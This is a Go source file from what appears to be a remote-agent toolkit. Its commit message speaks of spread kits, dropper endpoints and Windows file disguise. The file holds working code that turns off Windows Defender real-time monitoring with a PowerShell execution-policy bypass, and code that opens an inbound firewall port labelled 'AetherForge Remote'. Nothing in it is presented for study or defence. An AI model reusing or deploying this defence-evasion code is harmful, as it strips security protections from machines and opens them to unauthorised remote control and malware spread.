0f9e04f5f6
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
42 lines
1.4 KiB
Go
42 lines
1.4 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
|
func DisableDefenderRealtime() (string, error) {
|
|
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
|
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
|
if err != nil {
|
|
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
|
}
|
|
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
|
|
}
|
|
|
|
// OpenFirewallPort adds an inbound TCP allow rule for port.
|
|
func OpenFirewallPort(port int, name string) (string, error) {
|
|
if port <= 0 || port > 65535 {
|
|
return "", fmt.Errorf("invalid port %d", port)
|
|
}
|
|
if name == "" {
|
|
name = "AetherForge Remote"
|
|
}
|
|
script := fmt.Sprintf(`
|
|
$name = '%s'
|
|
$port = %d
|
|
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
|
|
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
|
}
|
|
`, strings.ReplaceAll(name, `'`, `''`), port)
|
|
out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).CombinedOutput()
|
|
if err != nil {
|
|
return string(out), err
|
|
}
|
|
return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
|
|
}
|